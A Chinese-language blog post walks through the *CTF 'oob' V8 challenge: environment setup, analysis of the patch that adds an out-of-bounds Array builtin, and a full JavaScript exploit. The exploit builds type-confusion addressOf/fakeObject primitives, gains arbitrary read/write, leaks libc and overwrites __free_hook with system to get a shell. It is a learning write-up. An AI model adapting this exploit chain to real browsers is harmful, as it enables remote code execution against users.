第一次接触浏览器,坑真的是太多了。从搭建环境到各种利用,满满的全是坑。
通过*CTF中的oob题目来记录下学习历程。

前提知识

个人进行了一些总结。通过在逐渐摸索中感受到自己的一些欠缺来进行整理。

常规PWN知识
基础JavaScript语法

在复现题目的时候,给我的最大感受就是JavaScript的欠缺。由于常规堆溢出问题已经相对擅长。但是在JavaScript方面
太弱了。导致好多时候我都已经想到了利用思路但是写不出来利用以至于要不停的去看exp去复现。
所以我感觉JavaScript方面至少我还是非常欠缺的。

环境搭建

这个地方真的是巨巨坑。

安装depot_tools

1
2
3
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git  

echo 'export PATH=$PATH:"/path/to/depot_tools"' >> ~/.bashrc

这边需要设置个代理

1
2
3
4
5
6
7
8
9
git config --global http.proxy http://127.0.0.1:7890  

git config --global https.proxy http://127.0.0.1:7890

netsh winhttp set proxy 127.0.0.1:7890

set HTTP_PROXY=http://127.0.0.1:7890

set HTTPS_PROXY=http://127.0.0.1:7890

这里的端口要改成你代理的端口。
完事之后总不能一辈子都用代理,所以要取消代理。

1
2
3
4
5
6
7
8
9
git config --global --unset http.proxy  

git config --global --unset https.proxy

netsh winhttp reset proxy

set HTTP_PROXY=

set HTTPS_PROXY=

安装ninja

1
2
3
4
5
6
7
8
9
git clone https://github.com/ninja-build/ninja.git  

cd ninja && ./configure.py --bootstrap

cmake -Bbuild-cmake -H.

cmake --build build-cmake

echo 'export PATH=$PATH:"/path/to/ninja"' >> ~/.bashrc

具体的去github上看安装方法吧,比较简单就不在复现安装了。
记得将ninja加入环境变量。

编译V8

这一步挺惨的。每次编译都要好长时间。每次更改成漏洞版本就要重新编译。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
fetch v8

cd v8

git reset --hard [commit hash with vulnerability]
#这里改成有漏洞的版本
gclient sync

#编译debug版本
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8
#编译release版本

tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release d8

gdb插件

在.gdbinit里面加上

1
2
source /home/starssgo/V8/v8/tools/gdbinit_v8
source /home/starssgo/V8/v8/tools/gdb-v8-support.py

这里我将gdbinit重命名了gdbinit_v8
然后就可以在gdb里使用这几个参数了(暂时以为)。
job命令

telescope命令

这里碰见了一点阴间的问题,当我用oob题目的时候,我把带漏洞版本的diff附上去之后,使用DEBUG版本的d8无法运行。
但是release版本的d8丢弃了各种符号表。导致gdb调试就挺恶心(具体表现为无法使用job与telescope命令)。
以下是解决方案,编译的时候添加参数,保留release版本的使用job与telescope命令所需要的符号表。

1
2
3
gn gen out.gn/x64.release --args='is_debug=false target_cpu="x64" v8_enable_backtrace = true v8_enable_disassembler = true v8_enable_object_print = true v8_enable_verify_heap = true'

ninja -C out.gn/x64.release d8

diff文件分析

diff的编写是使用CodeStubAssembler语言实现,相较于C艹来说,它运行效率更高。

添加对象属性

在/src/bootstrapper.cc文件中的Genesis::InitializeGlobal方法,在初始化proto对象的代码,新建一行oob。

实现方法的功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
+BUILTIN(ArrayOob){
+ uint32_t len = args.length(); #将输入参数给len
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value(); #如果len>2,返回
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length))); #读取第length元素,存在越界读漏洞。
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number()); #越界写漏洞
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}

生成并存储对象

在src/builtins/builtins-definitions.h下新增定义。

最后关联实现函数

至此,diff文件分析完毕。

构建d8

1
2
3
4
5
git checkout 6dc88c191f5ecc5389dc26efa3ca0907faef3598
gclient sync -D
git apply < oob.diff
gn gen out.gn/x64.release --args='is_debug=false target_cpu="x64" v8_enable_backtrace = true v8_enable_disassembler = true v8_enable_object_print = true v8_enable_verify_heap = true'
ninja -C out.gn/x64.release d8

编写如下js文件来测试漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 新建对象
var test = [1,2];
//打印test地址
%DebugPrint(test);
//断点
// %SystemBreak();
// 16进制打印值
console.log("test_num = " + test);
var num = test.oob(); //如果没有参数,那么就相当与打印test[2].存在越界。
console.log("test_num = " + num);
// %SystemBreak();
test.oob(3); //有参数,相当于test[2] = 0x20n;
num = test.oob();
console.log("test_num = " + num);
console.log("test_num = " + test);
// %SystemBreak();

打印如下所示

1
2
3
4
5
6
starssgo@ubuntu:~/V8/v8/out.gn/x64.release$ ./d8 --allow-natives-syntax tst.js 
0x24745314e069 <JSArray[2]>
test_content = 1,2
test[2]_content = 1.36951968682494e-310
test[2]_content = 3
test_content = 1,2

如上面所示,test.oob()打印出了并不在变量范围内也就是test[2]的内容,而我们带参数调用了oob()后,test[2] = 输入参数的值,为此,该程序有一个
数组越界漏洞。

基础知识

JavaScript是一个解释执行语言,v8实际上是该语言的执行程序。
首先,需要了解v8执行过程。v8在读取js语句后,首先将语句解析为语法树,然后通过解释器将语法树变成字节码,最后通过内部的虚拟机将字节码转换为机器码来执行。
为了加快解析过程,v8会记录某语法树的执行次数,若某次执行次数大于一定数量后,会直接将该语法转换为机器码,这样在后续调用该语法树时,直接执行对应机器码,这就是JIT优化。
我们知道,效率提高的同时往往伴随着程序不安全问题的产生。就比如本次利用的漏洞类型混淆,就是在此基础上实现的。
然后是对象结构,我们依然基于上面的js代码,将test变为float类型,放开%SystemBreak()注释。来查看test的对象结构。
代码如下。

1
2
3
4
5
var test = [1.1,2.1];
//打印test地址
%DebugPrint(test);
//断点
%SystemBreak();

然后我们根据如下命令来调试

1
2
gdb ./d8
set args --allow-natives-syntax ./tst.js //加载js

通过job test的地址,可以查看结构。

1
2
3
4
5
6
7
8
9
10
11
12
13
gdb-peda$ job 0x148dc1d0e0c9
0x148dc1d0e0c9: [JSArray]
- map: 0x14e575602ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x2de543ed1111 <JSArray[0]>
- elements: 0x148dc1d0e0a9 <FixedDoubleArray[2]> [PACKED_DOUBLE_ELEMENTS]
- length: 2
- properties: 0x289412e80c71 <FixedArray[0]> {
#length: 0x1d2635d401a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x148dc1d0e0a9 <FixedDoubleArray[2]> {
0: 1.1
1: 2.1
}
名称 作用
map 表明对象类型
prototype prototype
elements 指向元素对象
Length 元素个数
properties 属性

首先我们继续查看elements对象。

1
2
3
4
5
6
7
8
9
gdb-peda$ telescope 0x148dc1d0e0a8
0000| 0x148dc1d0e0a8 --> 0x289412e814f9 --> 0x289412e801
0008| 0x148dc1d0e0b0 --> 0x200000000 #length
0016| 0x148dc1d0e0b8 --> 0x3ff199999999999a #1.1在内存中的存储
0024| 0x148dc1d0e0c0 --> 0x4000cccccccccccd # 2.2在内存中的存储
0032| 0x148dc1d0e0c8 --> 0x14e575602ed9 --> 0x40000289412e801 # map
0040| 0x148dc1d0e0d0 --> 0x289412e80c71 --> 0x289412e808
0048| 0x148dc1d0e0d8 --> 0x148dc1d0e0a9 --> 0x289412e814
0056| 0x148dc1d0e0e0 --> 0x200000000

那么结构类型为

其中的map与elements是我们要重点关注的类型。因为map代表了对象的类型,如果我们可以改变它,那么我们就可以实现
类型混淆,elements指向元素对象,如果我们可以改变他,并且改对象是一个指针对象,那么我们就可以任意地址读写。
在此类型中我们发现,我们可以泄露与更改对象的map值,就可以用以下方法来类型混淆。
此处引入walkerfuz文章的一段经典例子。
如果我们定义一个FloatArray浮点数数组A,然后定义一个对象数组B。
正常情况下,访问A[0]返回的是一个浮点数,访问B[0]返回的是一个对象元素。
如果将B的类型修改为A的类型,那么再次访问B[0]时,返回的就不是对象元素B[0],而是B[0]对象元素转换为浮点数即B[0]对象的内存地址了;
如果将A的类型修改为B的类型,那么再次访问A[0]时,返回的就不是浮点数A[0],而是以A[0]为内存地址的一个JavaScript对象了。
通过类型混淆,能够实现以下两种效果:

计算一个对象的地址addressOf:将需要计算内存地址的对象存放到一个对象数组中的A[0],然后利用上述类型混淆漏洞,将对象数组的Map类型修改为浮点数数组的类型,访问A[0]即可得到浮点数表示的目标对象的内存地址。
将一个内存地址伪造为一个对象fakeObject:将需要伪造的内存地址存放到一个浮点数数组中的B[0],然后利用上述类型混淆漏洞,将浮点数数组的Map类型修改为对象数组的类型,那么B[0]此时就代表了以这个内存地址为起始地址的一个JS对象了。

漏洞利用

首先我们要进行类型混淆,我们要先知道map的地址,利用空参数oob()的读特性来读出map地址

1
2
3
4
5
6
7
8
9
10
var obj = {"a": 1};

var obj_array = [obj];

var float_array = [1.1,2.2];

var obj_array_map = obj_array.oob();
//将对象数组的map赋值给obj_array_map
var float_array_map = float_array.oob();
//将float的map赋值给obj_array_map

这样我们就获得了float对象与指针对象的map地址,可以用来做后续的类型混淆了。
然后我们制作一个对象,对象的内容就是伪造一个符合条件的element。

1
2
3
4
5
6
7
8
var fake_array = [
float_array_map, // 这里填写之前oob泄露的某个float数组对象的map
0,
i2f(0x4141414141414141n),
i2f(0x1000000000n),
1.1,
2.2,
];

然后编写addressOf实现,这里最重要的是利用将指针对象的map改为float对象,然后就可以得到对象指针地址。

1
2
3
4
5
6
7
8
9
10

function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak; //将指针放入
obj_array.oob(float_array_map); //改写map为float类型

let obj_addr = f2i(obj_array[0]) - 1n; //obj_array[0]此刻为double类型,转换出大int类型
obj_array.oob(obj_array_map); // 还原array类型以便后续继续使用
return obj_addr;
}

此时我们发现,我们泄露出来的是float类型,我们需要得到int类型,这里我们使用公共内存区域的方法实现。
float64与bigUint64储存与共一个内存块。我们可以float写入然后返回对于int也可以int写入然后返回float类型。

1
2
3
4
5
6
7
8
9
10
11
12
13
var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
function f2i(f)
{
float64[0] = f;
return bigUint64[0];// 浮点数转换为64位无符号整数
}
function i2f(i)
{
bigUint64[0] = i;
return float64[0]; // 64位无符号整数转为浮点数
}

然后泄露上面构造的fake_array的地址

1
2
3
4
var fake_Array_addr = addressOf(fake_array); // 返回fake_array的地址
console.log("fake_Array_addr = 0x",fake_Array_addr.toString(16)); //打印fake_Array_addr
%DebugPrint(fake_array); //打印fake_array
%SystemBreak();

跑一下

至此,我们已经泄露出了对象的地址,但是我们要是想实现任意地址读写,那么我们应该从一个指针数组里下手。

1
2
var obj = {"a": 1};
var obj_array = [obj];

如下,我们需要知道obj_array的结构。
我们用以下代码来查看。

1
2
3
4
var obj = {1.1,2.2};
var obj_array = [obj];
%DebugPrint(obj_array);
%SystemBreak();

发现elements指向的也是个指针对象

如果我们可以将这个指针对象的tmp修改为float类型,然后将我们之前伪造的那个fake对象写到第一个值里,i2f(0x4141414141414141n)对应的是elements的位置,我们就可以实现任意地址的读写了。
首先我们要获得这个将伪造的对象写入。

1
2
3
4
5
6
7
8
function fakeObject(addr_to_fake)
{
float_array[0] = i2f(addr_to_fake + 1n);
float_array.oob(obj_array_map); //更改map类型
let faked_obj = float_array[0]; //将fake指针对象给了faked_obj,供随时更改。
float_array.oob(float_array_map); // 还原array类型以便后续继续使用
return faked_obj;
}

然后我们需要将得到fake对象,以边更改。

1
2
3
var fake_Array_addr = addressOf(fake_array); // 返回fake_array的地址
console.log("fake_Array_addr = 0x",fake_Array_addr.toString(16));
var faked_object = fakeObject(fake_Array_addr - 0x30n);

这里要传fake_Array_addr - 0x30n是因为这里是我们伪造的结构体。如下图

然后需要写任意地址读写代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n); //由于elements+0x10-0x1是写入的地方,我们我们要将代写地址-0x10+0x1,具体见图1
let read_data = f2i(faked_object[0]); //读出你伪造的第一个地址的值
console.log("[*] read from: 0x" + addr.toString(16) + ": 0x" + read_data.toString(16));
return read_data;
}

function Write64(addr,num)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n); //同理
faked_object[0] = i2f(num); //将指定地址值赋予num;
}

图1:

故此,我们成功实现了任意地址读与任意地址写。
常规pwn思路到此,我们应该去泄露地址,然后改hook指针,那么我们应该怎么去泄露地址呢。
我们继续调试

首先进入map对象

然后进入constructor对象。

发现code对象。

发现其中指向一个程序地址,我们可以根这个来泄露程序地址。
然后泄露got里面的libc地址,得到libc地址。
具体代码为

1
2
3
4
5
6
7
8
9
10
var float_map_addr = read64(fake_Array_addr);
var constructor_addr = read64(float_map_addr + 0x114fn);
var code_addr = read64(constructor_addr + 0x2fn);
var textbase_addr = read64(code_addr + 0x41n)-0xf91780n;
var libcbase_addr = read64(textbase_addr + 0x12737b0n) - 0x3a2e0n;
console.log("[*] textbase_addr from: 0x" + textbase_addr.toString(16));
console.log("[*] libcbase_addr from: 0x" + libcbase_addr.toString(16));
var free_hook = libcbase_addr + 0x3c67a8n;
var one = [0x45226n,0x4527an,0xf0364n,0xf1207n]
var one_gadget = libcbase_addr +0x453a0n // 0x453a0n; system

最后,我选择的是更改free_hook 为system的地址,然后shell。
这里one_gadget代表的是system函数地址。
本地libc版本:Ubuntu GLIBC 2.23-0ubuntu11.2
然后就简单了,就是改free_hook就可以了。
这里我们发现write64函数实现的有问题,经过查询得出:直接用FloatArray方式向高地址写入会不成功。
然后就用新办法。使用DataView方法写入。

1
2
3
4
5
6
7
8
9
10
var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;

function write64_dataview(addr, data)
{
Write64(buf_backing_store_addr, addr);
data_view.setFloat64(0, i2f(data), true);
console.log("/bin/sh && exit "); //这里我发现free的时候会free参数指针。所以这里的参数直接写成命令即可。
}

然后就简单了。

1
write64_dataview(free_hook,one_gadget);


最后的exp :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
var obj = {"a": 1};
var obj_array = [obj];

var float_array = [1.1,2.2];

var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);

var obj_array_map = obj_array.oob();
//将对象数组的map赋值给obj_array_map
var float_array_map = float_array.oob();
//将float的map赋值给obj_array_map


function f2i(f)
{
float64[0] = f;
return bigUint64[0];// 浮点数转换为64位无符号整数
}

function i2f(i)
{
bigUint64[0] = i;
return float64[0]; // 64位无符号整数转为浮点数
}

function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.oob(float_array_map);

let obj_addr = f2i(obj_array[0]) - 1n; //obj_array[0]此刻为double类型,转换出大int类型
obj_array.oob(obj_array_map); // 还原array类型以便后续继续使用
return obj_addr;
}

function fakeObject(addr_to_fake)
{
float_array[0] = i2f(addr_to_fake + 1n);
float_array.oob(obj_array_map);
// float_array[0]=[i2f(0x1234n),i2f(0x2345n)];
let faked_obj = float_array[0];
float_array.oob(float_array_map); // 还原array类型以便后续继续使用

return faked_obj;
}

var fake_array = [
float_array_map, // 这里填写之前oob泄露的某个float数组对象的map
0,
i2f(0x4141414141414141n),
i2f(0x1000000000n),
1.1,
2.2,
];


var fake_Array_addr = addressOf(fake_array); // 返回fake_array的地址
console.log("fake_Array_addr = 0x",fake_Array_addr.toString(16));
var faked_object = fakeObject(fake_Array_addr - 0x30n);

function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let read_data = f2i(faked_object[0]);
console.log("[*] read from: 0x" + addr.toString(16) + ": 0x" + read_data.toString(16));
return read_data;
}
function Write64(addr,num)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
faked_object[0] = i2f(num);
}

var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;

function write64_dataview(addr, data)
{
Write64(buf_backing_store_addr, addr);
data_view.setFloat64(0, i2f(data), true);
console.log("/bin/sh && exit ");
}

var float_map_addr = read64(fake_Array_addr);
var constructor_addr = read64(float_map_addr + 0x114fn);
var code_addr = read64(constructor_addr + 0x2fn);
var textbase_addr = read64(code_addr + 0x41n)-0xf91780n;
var libcbase_addr = read64(textbase_addr + 0x12737b0n) - 0x3a2e0n;
console.log("[*] textbase_addr from: 0x" + textbase_addr.toString(16));
console.log("[*] libcbase_addr from: 0x" + libcbase_addr.toString(16));
var free_hook = libcbase_addr + 0x3c67a8n;
var one = [0x45226n,0x4527an,0xf0364n,0xf1207n]
var one_gadget = libcbase_addr +0x453a0n // 0x453a0n; system
console.log("[*] free_hook from: 0x" + free_hook.toString(16));
console.log("[*] one_gadget from: 0x" + one_gadget.toString(16));

write64_dataview(free_hook,one_gadget);

总结

首先,初学v8,很多地方都是在复现的时候自己思考的,可能与正确的解释大相径庭,希望老哥们发现错误了可以补充说明。
然后就是自己的欠缺,由于自己js水平的拉垮程度,导致自己很多时候都知道问题所在了,但就是写不出解决的脚本,js还是需要恶补。
最后希望和各位老哥们一起学习,快乐击剑🤺。

参考链接

https://zhuanlan.zhihu.com/p/106090872?utm_source=qzone
https://www.anquanke.com/post/id/207483#h3-5
https://www.freebuf.com/vuls/203721.html